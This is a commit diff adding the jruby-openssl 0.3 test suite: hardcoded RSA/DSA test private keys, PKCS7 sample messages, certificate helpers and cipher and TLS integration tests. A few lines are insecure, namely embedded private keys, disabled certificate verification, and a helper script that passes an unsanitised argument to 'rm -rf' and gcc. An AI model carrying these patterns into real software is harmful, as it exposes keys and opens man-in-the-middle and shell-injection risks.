+  TEST_KEY_RSA2048 = OpenSSL::PKey::RSA.new <<-_end_of_pem_
+-----BEGIN RSA PRIVATE KEY-----
+MIIEpAIBAAKCAQEAuV9ht9J7k4NBs38jOXvvTKY9gW8nLICSno5EETR1cuF7i4pN
+s9I1QJGAFAX0BEO4KbzXmuOvfCpD3CU+Slp1enenfzq/t/e/1IRW0wkJUJUFQign
+4CtrkJL+P07yx18UjyPlBXb81ApEmAB5mrJVSrWmqbjs07JbuS4QQGGXLc+Su96D
+kYKmSNVjBiLxVVSpyZfAY3hD37d60uG+X8xdW5v68JkRFIhdGlb6JL8fllf/A/bl
+NwdJOhVr9mESHhwGjwfSeTDPfd8ZLE027E5lyAVX9KZYcU00mOX+fdxOSnGqS/8J
+DRh0EPHDL15RcJjV2J6vZjPb0rOYGDoMcH+94wIDAQABAoIBAAzsamqfYQAqwXTb
+I0CJtGg6msUgU7HVkOM+9d3hM2L791oGHV6xBAdpXW2H8LgvZHJ8eOeSghR8+dgq
+PIqAffo4x1Oma+FOg3A0fb0evyiACyrOk+EcBdbBeLo/LcvahBtqnDfiUMQTpy6V
+seSoFCwuN91TSCeGIsDpRjbG1vxZgtx+uI+oH5+ytqJOmfCksRDCkMglGkzyfcl0
+Xc5CUhIJ0my53xijEUQl19rtWdMnNnnkdbG8PT3LZlOta5Do86BElzUYka0C6dUc
+VsBDQ0Nup0P6rEQgy7tephHoRlUGTYamsajGJaAo1F3IQVIrRSuagi7+YpSpCqsW
+wORqorkCgYEA7RdX6MDVrbw7LePnhyuaqTiMK+055/R1TqhB1JvvxJ1CXk2rDL6G
+0TLHQ7oGofd5LYiemg4ZVtWdJe43BPZlVgT6lvL/iGo8JnrncB9Da6L7nrq/+Rvj
+XGjf1qODCK+LmreZWEsaLPURIoR/Ewwxb9J2zd0CaMjeTwafJo1CZvcCgYEAyCgb
+aqoWvUecX8VvARfuA593Lsi50t4MEArnOXXcd1RnXoZWhbx5rgO8/ATKfXr0BK/n
+h2GF9PfKzHFm/4V6e82OL7gu/kLy2u9bXN74vOvWFL5NOrOKPM7Kg+9I131kNYOw
+Ivnr/VtHE5s0dY7JChYWE1F3vArrOw3T00a4CXUCgYEA0SqY+dS2LvIzW4cHCe9k
+IQqsT0yYm5TFsUEr4sA3xcPfe4cV8sZb9k/QEGYb1+SWWZ+AHPV3UW5fl8kTbSNb
+v4ng8i8rVVQ0ANbJO9e5CUrepein2MPL0AkOATR8M7t7dGGpvYV0cFk8ZrFx0oId
+U0PgYDotF/iueBWlbsOM430CgYEAqYI95dFyPI5/AiSkY5queeb8+mQH62sdcCCr
+vd/w/CZA/K5sbAo4SoTj8dLk4evU6HtIa0DOP63y071eaxvRpTNqLUOgmLh+D6gS
+Cc7TfLuFrD+WDBatBd5jZ+SoHccVrLR/4L8jeodo5FPW05A+9gnKXEXsTxY4LOUC
+9bS4e1kCgYAqVXZh63JsMwoaxCYmQ66eJojKa47VNrOeIZDZvd2BPVf30glBOT41
+gBoDG3WMPZoQj9pb7uMcrnvs4APj2FIhMU8U15LcPAj59cD6S6rWnAxO8NFK7HQG
+4Jxg3JNNf8ErQoCHb1B3oVdXJkmbJkARoDpBKmTCgKtP8ADYLmVPQw==
+-----END RSA PRIVATE KEY-----
+  _end_of_pem_
+
+  TEST_KEY_DSA256 = OpenSSL::PKey::DSA.new <<-_end_of_pem_
+-----BEGIN DSA PRIVATE KEY-----
+MIH3AgEAAkEAhk2libbY2a8y2Pt21+YPYGZeW6wzaW2yfj5oiClXro9XMR7XWLkE
+9B7XxLNFCS2gmCCdMsMW1HulaHtLFQmB2wIVAM43JZrcgpu6ajZ01VkLc93gu/Ed
+AkAOhujZrrKV5CzBKutKLb0GVyVWmdC7InoNSMZEeGU72rT96IjM59YzoqmD0pGM
+3I1o4cGqg1D1DfM1rQlnN1eSAkBq6xXfEDwJ1mLNxF6q8Zm/ugFYWR5xcX/3wFiT
+b4+EjHP/DbNh9Vm5wcfnDBJ1zKvrMEf2xqngYdrV/3CiGJeKAhRvL57QvJZcQGvn
+ISNX5cMzFHRW3Q==
+-----END DSA PRIVATE KEY-----
+  _end_of_pem_
+
+  TEST_KEY_DSA512 = OpenSSL::PKey::DSA.new <<-_end_of_pem_
+-----BEGIN DSA PRIVATE KEY-----
+MIH4AgEAAkEA5lB4GvEwjrsMlGDqGsxrbqeFRh6o9OWt6FgTYiEEHaOYhkIxv0Ok
+RZPDNwOG997mDjBnvDJ1i56OmS3MbTnovwIVAJgub/aDrSDB4DZGH7UyarcaGy6D
+AkB9HdFw/3td8K4l1FZHv7TCZeJ3ZLb7dF3TWoGUP003RCqoji3/lHdKoVdTQNuR
+S/m6DlCwhjRjiQ/lBRgCLCcaAkEAjN891JBjzpMj4bWgsACmMggFf57DS0Ti+5++
+Q1VB8qkJN7rA7/2HrCR3gTsWNb1YhAsnFsoeRscC+LxXoXi9OAIUBG98h4tilg6S
+55jreJD3Se3slps=
+-----END DSA PRIVATE KEY-----
+  _end_of_pem_
+
+  module_function
+
+  def issue_cert(dn, key, serial, not_before, not_after, extensions,
+                 issuer, issuer_key, digest)
+    cert = OpenSSL::X509::Certificate.new
+    issuer = cert unless issuer
+    issuer_key = key unless issuer_key
+    cert.version = 2
+    cert.serial = serial
+    cert.subject = dn
+    cert.issuer = issuer.subject
+    cert.public_key = key.public_key
+    cert.not_before = not_before
+    cert.not_after = not_after
+    ef = OpenSSL::X509::ExtensionFactory.new
+    ef.subject_certificate = cert
+    ef.issuer_certificate = issuer
+    extensions.each{|oid, value, critical|
+      cert.add_extension(ef.create_extension(oid, value, critical))
+    }
+    cert.sign(issuer_key, digest)
+    cert
+  end
+
+  def issue_crl(revoke_info, serial, lastup, nextup, extensions, 
+                issuer, issuer_key, digest)
+    crl = OpenSSL::X509::CRL.new
+    crl.issuer = issuer.subject
+    crl.version = 1
+    crl.last_update = lastup
+    crl.next_update = nextup
+    revoke_info.each{|serial, time, reason_code|
+      revoked = OpenSSL::X509::Revoked.new
+      revoked.serial = serial
+      revoked.time = time
+      enum = OpenSSL::ASN1::Enumerated(reason_code)
+      ext = OpenSSL::X509::Extension.new("CRLReason", enum)
+      revoked.add_extension(ext)
+      crl.add_revoked(revoked)
+    }
+    ef = OpenSSL::X509::ExtensionFactory.new
+    ef.issuer_certificate = issuer
+    ef.crl = crl
+    crlnum = OpenSSL::ASN1::Integer(serial)
+    crl.add_extension(OpenSSL::X509::Extension.new("crlNumber", crlnum))
+    extensions.each{|oid, value, critical|
+      crl.add_extension(ef.create_extension(oid, value, critical))
+    }
+    crl.sign(issuer_key, digest)
+    crl
+  end
+
+  def get_subject_key_id(cert)
+    asn1_cert = OpenSSL::ASN1.decode(cert)
+    tbscert   = asn1_cert.value[0]
+    pkinfo    = tbscert.value[6]
+    publickey = pkinfo.value[1]
+    pkvalue   = publickey.value
+    OpenSSL::Digest::SHA1.hexdigest(pkvalue).scan(/../).join(":").upcase
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_mime_enveloped.message
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_mime_enveloped.message	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_mime_enveloped.message	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,19 @@
+MIME-Version: 1.0
+Message-Id: <00103112005203.00349 at amyemily.ig.com>
+Date: Tue, 31 Oct 2000 12:00:52 -0600 (Central Standard Time)
+From: User1
+To: User2
+Subject: Example 5.3
+Content-Type: application/pkcs7-mime;
+  name=smime.p7m;
+  smime-type=enveloped-data
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename=smime.p7m
+
+
+MIIBHgYJKoZIhvcNAQcDoIIBDzCCAQsCAQAxgcAwgb0CAQAwJjASMRAwDgYDVQQDEwdDYXJ
+sUlNBAhBGNGvHgABWvBHTbi7NXXHQMA0GCSqGSIb3DQEBAQUABIGAC3EN5nGIiJi2lsGPcP
+2iJ97a4e8kbKQz36zg6Z2i0yx6zYC4mZ7mX7FBs3IWg+f6KgCLx3M1eCbWx8+MDFbbpXadC
+DgO8/nUkUNYeNxJtuzubGgzoyEd8Ch4H/dd9gdzTd+taTEgS0ipdSJuNnkVY4/M652jKKHR
+LFf02hosdR8wQwYJKoZIhvcNAQcBMBQGCCqGSIb3DQMHBAgtaMXpRwZRNYAgDsiSf8Z9P43
+LrY4OxUk660cu1lXeCSFOSOpOJ7FuVyU=

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_mime_signed.message
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_mime_signed.message	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_mime_signed.message	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+MIME-Version: 1.0
+To: User2 at examples.com
+From: aliceDss at examples.com
+Subject: Example 4.9
+Message-Id: <021031164540300.304 at examples.com>
+Date: Thu, 31 Oct 2002 16:45:14 -0300
+Content-Type: application/pkcs7-mime; smime-type=signed-data;
+  name=smime.p7m
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename=smime.p7m
+
+
+MIIDmQYJKoZIhvcNAQcCoIIDijCCA4YCAQExCTAHBgUrDgMCGjAtBgkqhkiG9w0BBwGgIAQ
+eDQpUaGlzIGlzIHNvbWUgc2FtcGxlIGNvbnRlbnQuoIIC4DCCAtwwggKboAMCAQICAgDIMA
+kGByqGSM44BAMwEjEQMA4GA1UEAxMHQ2FybERTUzAeFw05OTA4MTcwMTEwNDlaFw0zOTEyM
+zEyMzU5NTlaMBMxETAPBgNVBAMTCEFsaWNlRFNTMIIBtjCCASsGByqGSM44BAEwggEeAoGB
+AIGNze2D6gqeOT7CSCij5EeT3Q7XqA7sU8WrhAhP/5Thc0h+DNbzREjR/p+vpKGJL+HZMMg
+23j+bv7dM3F9piuR10DcMkQiVm96nXvn89J8v3UOoi1TxP7AHCEdNXYjDw7Wz41UIddU5dh
+DEeL3/nbCElzfy5FEbteQJllzzflvbAhUA4kemGkVmuBPG2o+4NyErYov3k80CgYAmONAUi
+TKqOfs+bdlLWWpMdiM5BAI1XPLLGjDDHlBd3ZtZ4s2qBT1YwHuiNrhuB699ikIlp/R1z0oI
+Xks+kPht6pzJIYo7dhTpzi5dowfNI4W4LzABfG1JiRGJNkS9+MiVSlNWteL5c+waYTYfEX/
+Cve3RUP+YdMLRgUpgObo2OQOBhAACgYBc47ladRSWC6l63eM/qeysXty9txMRNKYWiSgRI9
+k0hmd1dRMSPUNbb+VRv/qJ8qIbPiR9PQeNW2PIu0WloErjhdbOBoA/6CN+GvIkq1MauCcNH
+u8Iv2YUgFxirGX6FYvxuzTU0pY39mFHssQyhPB+QUD9RqdjTjPypeL08oPluKOBgTB/MAwG
+A1UdEwEB/wQCMAAwDgYDVR0PAQH/BAQDAgbAMB8GA1UdIwQYMBaAFHBEPoIub4feStN14z0
+gvEMrk/EfMB0GA1UdDgQWBBS+bKGz48H37UNwpM4TAeL945f+zTAfBgNVHREEGDAWgRRBbG
+ljZURTU0BleGFtcGxlLmNvbTAJBgcqhkjOOAQDAzAAMC0CFFUMpBkfQiuJcSIzjYNqtT1na
+79FAhUAn2FTUlQLXLLd2ud2HeIQUltDXr0xYzBhAgEBMBgwEjEQMA4GA1UEAxMHQ2FybERT
+UwICAMgwBwYFKw4DAhowCQYHKoZIzjgEAwQuMCwCFD1cSW6LIUFzeXle3YI5SKSBer/sAhQ
+mCq7s/CTFHOEjgASeUjbMpx5g6A==

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_multipart_signed.message
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_multipart_signed.message	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/pkcs7_multipart_signed.message	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+MIME-Version: 1.0
+To: User2 at examples.com
+From: aliceDss at examples.com
+Subject: Example 4.8
+Message-Id: <020906002550300.249 at examples.com>
+Date: Fri, 06 Sep 2002 00:25:21 -0300
+Content-Type: multipart/signed;
+  micalg=SHA1;
+  boundary="----=_NextBoundry____Fri,_06_Sep_2002_00:25:21";
+  protocol="application/pkcs7-signature"
+
+		
+This is a multi-part message in MIME format.
+
+		
+------=_NextBoundry____Fri,_06_Sep_2002_00:25:21
+
+This is some sample content.
+		
+------=_NextBoundry____Fri,_06_Sep_2002_00:25:21
+Content-Type: application/pkcs7-mime; name=smime.p7s
+Content-Transfer-Encoding: base64
+Content-Disposition: attachment; filename=smime.p7s
+
+
+MIIDdwYJKoZIhvcNAQcCoIIDaDCCA2QCAQExCTAHBgUrDgMCGjALBgkqhkiG9w0BBwGgggL
+gMIIC3DCCApugAwIBAgICAMgwCQYHKoZIzjgEAzASMRAwDgYDVQQDEwdDYXJsRFNTMB4XDT
+k5MDgxNzAxMTA0OVoXDTM5MTIzMTIzNTk1OVowEzERMA8GA1UEAxMIQWxpY2VEU1MwggG2M
+IIBKwYHKoZIzjgEATCCAR4CgYEAgY3N7YPqCp45PsJIKKPkR5PdDteoDuxTxauECE//lOFz
+SH4M1vNESNH+n6+koYkv4dkwyDbeP5u/t0zcX2mK5HXQNwyRCJWb3qde+fz0ny/dQ6iLVPE
+/sAcIR01diMPDtbPjVQh11Tl2EMR4vf+dsISXN/LkURu15AmWXPN+W9sCFQDiR6YaRWa4E8
+baj7g3IStii/eTzQKBgCY40BSJMqo5+z5t2UtZakx2IzkEAjVc8ssaMMMeUF3dm1nizaoFP
+VjAe6I2uG4Hr32KQiWn9HXPSgheSz6Q+G3qnMkhijt2FOnOLl2jB80jhbgvMAF8bUmJEYk2
+RL34yJVKU1a14vlz7BphNh8Rf8K97dFQ/5h0wtGBSmA5ujY5A4GEAAKBgFzjuVp1FJYLqXr
+d4z+p7Kxe3L23ExE0phaJKBEj2TSGZ3V1ExI9Q1tv5VG/+onyohs+JH09B41bY8i7RaWgSu
+OF1s4GgD/oI34a8iSrUxq4Jw0e7wi/ZhSAXGKsZfoVi/G7NNTSljf2YUeyxDKE8H5BQP1Gp
+2NOM/Kl4vTyg+W4o4GBMH8wDAYDVR0TAQH/BAIwADAOBgNVHQ8BAf8EBAMCBsAwHwYDVR0j
+BBgwFoAUcEQ+gi5vh95K03XjPSC8QyuT8R8wHQYDVR0OBBYEFL5sobPjwfftQ3CkzhMB4v3
+jl/7NMB8GA1UdEQQYMBaBFEFsaWNlRFNTQGV4YW1wbGUuY29tMAkGByqGSM44BAMDMAAwLQ
+IUVQykGR9CK4lxIjONg2q1PWdrv0UCFQCfYVNSVAtcst3a53Yd4hBSW0NevTFjMGECAQEwG
+DASMRAwDgYDVQQDEwdDYXJsRFNTAgIAyDAHBgUrDgMCGjAJBgcqhkjOOAQDBC4wLAIUM/mG
+f6gkgp9Z0XtRdGimJeB/BxUCFGFFJqwYRt1WYcIOQoGiaowqGzVI
+
+		
+------=_NextBoundry____Fri,_06_Sep_2002_00:25:21--

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/a.out
===================================================================


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/a.out
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/compile.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/compile.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/compile.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,8 @@
+#!/usr/bin/env ruby
+
+name = ARGV[0]
+system("rm -rf #{name}")
+system("gcc -lssl -lcrypto -o #{name} #{name}.c")
+system("chmod +x #{name}")
+system("./#{name}")
+


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/compile.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/pkcs1
===================================================================
(Binary files differ)


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/pkcs1
___________________________________________________________________
Name: svn:executable
   + *
Name: svn:mime-type
   + application/octet-stream

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/pkcs1.c
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/pkcs1.c	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/ref/pkcs1.c	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,21 @@
+
+#include <openssl/pkcs7.h>
+
+void print_pkcs7(PKCS7* p7) {
+    printf(" | asn1     : %s\n", p7->asn1);
+    printf(" | len      : %d\n", p7->length);
+    printf(" | state    : %d\n", p7->state);
+    printf(" | detached : %d\n", p7->detached);
+    printf(" | type     : %d\n", OBJ_nid2obj(p7->type));
+}
+
+int main(int argc, char** argv) {
+    PKCS7* p7;
+    p7 = PKCS7_new();
+
+    printf("--before:\n");
+    print_pkcs7(p7);
+
+    PKCS7_free(p7);
+    return 0;
+}

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_cipher.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_cipher.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_cipher.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,81 @@
+if defined?(JRUBY_VERSION)
+  require "java"
+  base = File.dirname(__FILE__)
+  $CLASSPATH << File.join(base, '..', 'pkg', 'classes')
+  $CLASSPATH << File.join(base, '..', 'lib', 'bcprov-jdk14-139.jar')
+end
+
+begin
+  require "openssl"
+rescue LoadError
+end
+
+require "test/unit"
+
+class TestCipher < Test::Unit::TestCase
+  def test_encrypt_takes_parameter
+    enc = OpenSSL::Cipher::Cipher.new('DES-EDE3-CBC')
+    enc.encrypt("123")
+    data = enc.update("password")
+    data << enc.final
+  end
+
+  IV_TEMPLATE  = "aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjj"
+  KEY_TEMPLATE = "aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjj"
+
+  # JRUBY-1692
+  def test_repeated_des
+    do_repeated_test(
+                     "des-ede3-cbc",
+                     "foobarbazboofarf",
+                     ":\022Q\211ex\370\332\374\274\214\356\301\260V\025",
+                     "B\242\3531\003\362\3759\363s\203\374\240\030|\230"
+                     )
+  end
+
+  # JRUBY-1692
+  def test_repeated_aes
+    do_repeated_test(
+                     "aes-128-cbc",
+                     "foobarbazboofarf",
+                     "\342\260Y\344\306\227\004^\272|/\323<\016,\226",
+                     "jqO\305/\211\216\b\373\300\274\bw\213]\310"
+                     )
+  end
+
+  private
+  def do_repeated_test(algo, string, enc1, enc2)
+    do_repeated_encrypt_test(algo, string, enc1, enc2)
+    do_repeated_decrypt_test(algo, string, enc1, enc2)
+  end
+  
+  def do_repeated_encrypt_test(algo, string, result1, result2)
+    cipher = OpenSSL::Cipher::Cipher.new(algo)
+    cipher.encrypt
+
+    cipher.padding = 0
+    cipher.iv      = IV_TEMPLATE[0, cipher.iv_len]
+    cipher.key     = KEY_TEMPLATE[0, cipher.key_len]
+
+    assert_equal result1, cipher.update(string)
+    cipher.final
+
+    assert_equal result2, cipher.update(string)
+    cipher.final
+  end
+
+  def do_repeated_decrypt_test(algo, result, string1, string2)
+    cipher = OpenSSL::Cipher::Cipher.new(algo)
+    cipher.decrypt
+
+    cipher.padding = 0
+    cipher.iv      = IV_TEMPLATE[0, cipher.iv_len]
+    cipher.key     = KEY_TEMPLATE[0, cipher.key_len]
+
+    assert_equal result, cipher.update(string1)
+    cipher.final
+
+    assert_equal result, cipher.update(string2)
+    cipher.final
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_integration.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_integration.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_integration.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+if defined?(JRUBY_VERSION)
+  require "java"
+  base = File.join(File.dirname(__FILE__), '..')
+  $CLASSPATH << File.join(base, 'pkg', 'classes')
+  $CLASSPATH << File.join(base, 'lib', 'bcprov-jdk14-139.jar')
+end
+
+begin
+  require "openssl"
+rescue LoadError
+end
+require "test/unit"
+require 'net/https'
+
+class TestIntegration < Test::Unit::TestCase
+  # JRUBY-2471
+  def _test_drb
+    config = {
+      :SSLVerifyMode => OpenSSL::SSL::VERIFY_PEER,
+      :SSLCACertificateFile => File.join(File.dirname(__FILE__), "fixture", "cacert.pem"),
+      :SSLPrivateKey => OpenSSL::PKey::RSA.new(File.read(File.join(File.dirname(__FILE__), "fixture", "localhost_keypair.pem"))),
+      :SSLCertificate => OpenSSL::X509::Certificate.new(File.read(File.join(File.dirname(__FILE__), "fixture", "cert_localhost.pem"))),
+    }
+    p config
+    DRb.start_service(nil, nil, config)
+  end
+
+  # JRUBY-2913
+  # Warning - this test actually uses the internet connection.
+  # If there is no connection, it will fail.
+  def test_ca_path_name
+    uri = URI.parse('https://www.paypal.com')
+
+    http = Net::HTTP.new(uri.host, uri.port)
+    http.verify_mode = OpenSSL::SSL::VERIFY_PEER
+    http.ca_path = "./"
+    http.use_ssl = true
+
+    response = http.start do |s|
+      assert s.get(uri.request_uri).length > 0
+    end
+  end
+  
+  # JRUBY-2178 and JRUBY-1307
+  # Warning - this test actually uses the internet connection.
+  # If there is no connection, it will fail.
+  # This test generally throws an exception
+  # about illegal_parameter when
+  # it can't use the cipher string correctly
+  def test_cipher_strings
+    socket = TCPSocket.new('rubyforge.org', 443)
+    ctx = OpenSSL::SSL::SSLContext.new
+    ctx.cert_store = OpenSSL::X509::Store.new
+    ctx.verify_mode = 0
+    ctx.cert = nil
+    ctx.key = nil
+    ctx.client_ca = nil
+    ctx.ciphers = "ALL:!ADH:!LOW:!EXP:!MD5:@STRENGTH"
+
+    ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx)
+    ssl_socket.connect
+    ssl_socket.close
+  end
+
+  # JRUBY-1194
+  def test_des_encryption
+    iv  = "IVIVIVIV"
+    key = "KEYKEYKE"
+    alg = "des"
+    str = "string abc foo bar baxz"
+        
+    cipher = OpenSSL::Cipher::Cipher.new(alg)
+    cipher.encrypt(key, iv)
+    cipher.padding = 32
+    cipher.key = key
+    cipher.iv = iv
+    
+    encrypted = cipher.update(str)
+    encrypted << cipher.final
+ 
+    assert_equal "\253\305\306\372;\374\235\302\357/\006\360\355XO\232\312S\356* #\227\217", encrypted
+  end
+  
+  def _test_perf_of_nil
+# require 'net/https'
+# require 'benchmark'
+
+# def request(data)
+#   connection = Net::HTTP.new("www.google.com", 443)
+#   connection.use_ssl = true
+#   connection.verify_mode = OpenSSL::SSL::VERIFY_NONE
+#   connection.start do |connection|
+#     connection.request_post("/tbproxy/spell?lang=en", data, { 'User-Agent' => "Test", 'Accept' => 'text/xml' })
+#   end
+# end
+
+# puts "is not: #{Benchmark.measure { request("") }.to_s.chomp}"
+# puts "is nil: #{Benchmark.measure { request(nil) }.to_s.chomp}"
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/jruby-openssl-0.3/test/test_java.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,98 @@
+$:.unshift File.join(File.dirname(__FILE__), '..', 'mocha', 'lib')
+
+require "test/unit"
+require 'mocha'
+
+if defined?(JRUBY_VERSION)
+  require "java"
+  $CLASSPATH << 'pkg/classes'
+  $CLASSPATH << 'lib/bcprov-jdk14-139.jar'
+  
+  module PKCS7Test
+    module ASN1
+      OctetString = org.bouncycastle.asn1.DEROctetString
+    end
+    
+    PKCS7 = org.jruby.ext.openssl.impl.PKCS7 unless defined?(PKCS7)
+    Attribute = org.jruby.ext.openssl.impl.Attribute unless defined?(Attribute)
+    Digest = org.jruby.ext.openssl.impl.Digest unless defined?(Digest)
+    EncContent = org.jruby.ext.openssl.impl.EncContent unless defined?(EncContent)
+    Encrypt = org.jruby.ext.openssl.impl.Encrypt unless defined?(Encrypt)
+    Envelope = org.jruby.ext.openssl.impl.Envelope unless defined?(Envelope)
+    IssuerAndSerial = org.jruby.ext.openssl.impl.IssuerAndSerial unless defined?(IssuerAndSerial)
+    RecipInfo = org.jruby.ext.openssl.impl.RecipInfo unless defined?(RecipInfo)
+    SignEnvelope = org.jruby.ext.openssl.impl.SignEnvelope unless defined?(SignEnvelope)
+    Signed = org.jruby.ext.openssl.impl.Signed unless defined?(Signed)
+    SMIME = org.jruby.ext.openssl.impl.SMIME unless defined?(SMIME)
+    Mime = org.jruby.ext.openssl.impl.Mime unless defined?(Mime)
+    MimeHeader = org.jruby.ext.openssl.impl.MimeHeader unless defined?(MimeHeader)
+    MimeParam = org.jruby.ext.openssl.impl.MimeParam unless defined?(MimeParam)
+    BIO = org.jruby.ext.openssl.impl.BIO unless defined?(BIO)
+    PKCS7Exception = org.jruby.ext.openssl.impl.PKCS7Exception unless defined?(PKCS7Exception)
+    ASN1Registry = org.jruby.ext.openssl.impl.ASN1Registry unless defined?(ASN1Registry)
+    AlgorithmIdentifier = org.bouncycastle.asn1.x509.AlgorithmIdentifier unless defined?(AlgorithmIdentifier)
+    SignerInfoWithPkey = org.jruby.ext.openssl.impl.SignerInfoWithPkey unless defined?(SignerInfoWithPkey)
+    IssuerAndSerialNumber = org.bouncycastle.asn1.pkcs.IssuerAndSerialNumber unless defined?(IssuerAndSerialNumber)
+    ASN1InputStream = org.bouncycastle.asn1.ASN1InputStream unless defined?(ASN1InputStream)
+    X509AuxCertificate = org.jruby.ext.openssl.x509store.X509AuxCertificate unless defined?(X509AuxCertificate)
+    
+    ArrayList = java.util.ArrayList unless defined?(ArrayList)
+    CertificateFactory = java.security.cert.CertificateFactory unless defined?(CertificateFactory)
+    BCP = org.bouncycastle.jce.provider.BouncyCastleProvider unless defined?(BCP)
+    ByteArrayInputStream = java.io.ByteArrayInputStream unless defined?(ByteArrayInputStream)
+    BigInteger = java.math.BigInteger unless defined?(BigInteger)
+    Cipher = javax.crypto.Cipher unless defined?(Cipher)
+
+    DERInteger = org.bouncycastle.asn1.DERInteger
+    DERSet = org.bouncycastle.asn1.DERSet
+    DEROctetString = org.bouncycastle.asn1.DEROctetString 
+    X509Name = org.bouncycastle.asn1.x509.X509Name
+    
+    
+    MimeEnvelopedString = File::read(File.join(File.dirname(__FILE__), 'pkcs7_mime_enveloped.message'))
+    MimeSignedString = File::read(File.join(File.dirname(__FILE__), 'pkcs7_mime_signed.message'))
+    MultipartSignedString = File::read(File.join(File.dirname(__FILE__), 'pkcs7_multipart_signed.message'))
+
+    X509CertString = <<CERT
+-----BEGIN CERTIFICATE-----
+MIICijCCAXKgAwIBAgIBAjANBgkqhkiG9w0BAQUFADA9MRMwEQYKCZImiZPyLGQB
+GRYDb3JnMRkwFwYKCZImiZPyLGQBGRYJcnVieS1sYW5nMQswCQYDVQQDDAJDQTAe
+Fw0wODA3MDgxOTE1NDZaFw0wODA3MDgxOTQ1NDZaMEQxEzARBgoJkiaJk/IsZAEZ
+FgNvcmcxGTAXBgoJkiaJk/IsZAEZFglydWJ5LWxhbmcxEjAQBgNVBAMMCWxvY2Fs
+aG9zdDCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAy8LEsNRApz7U/j5DoB4X
+BgO9Z8Atv5y/OVQRp0ag8Tqo1YewsWijxEWB7JOATwpBN267U4T1nPZIxxEEO7n/
+WNa2ws9JWsjah8ssEBFSxZqdXKSLf0N4Hi7/GQ/aYoaMCiQ8jA4jegK2FJmXM71u
+Pe+jFN/peeBOpRfyXxRFOYcCAwEAAaMSMBAwDgYDVR0PAQH/BAQDAgWgMA0GCSqG
+SIb3DQEBBQUAA4IBAQCU879BALJIM9avHiuZ3WTjDy0UYP3ZG5wtuSqBSnD1k8pr
+hXfRaga7mDj6EQaGUovImb+KrRi6mZc+zsx4rTxwBNJT9U8yiW2eYxmgcT9/qKrD
+/1nz+e8NeUCCDY5UTUHGszZw5zLEDgDX2n3E/CDIZsoRSyq5vXq1jpfih/tSWanj
+Y9uP/o8Dc7ZcRJOAX7NPu1bbZcbxEbZ8sMe5wZ5HNiAR6gnOrjz2Yyazb//PSskE
+4flt/2h4pzGA0/ZHcnDjcoLdiLtInsqPOlVDLgqd/XqRYWtj84N4gw1iS9cHyrIZ
+dqbS54IKvzElD+R0QVS2z6TIGJSpuSBnZ4yfuNuq
+-----END CERTIFICATE-----
+CERT
+
+    X509CRLString = <<CRL
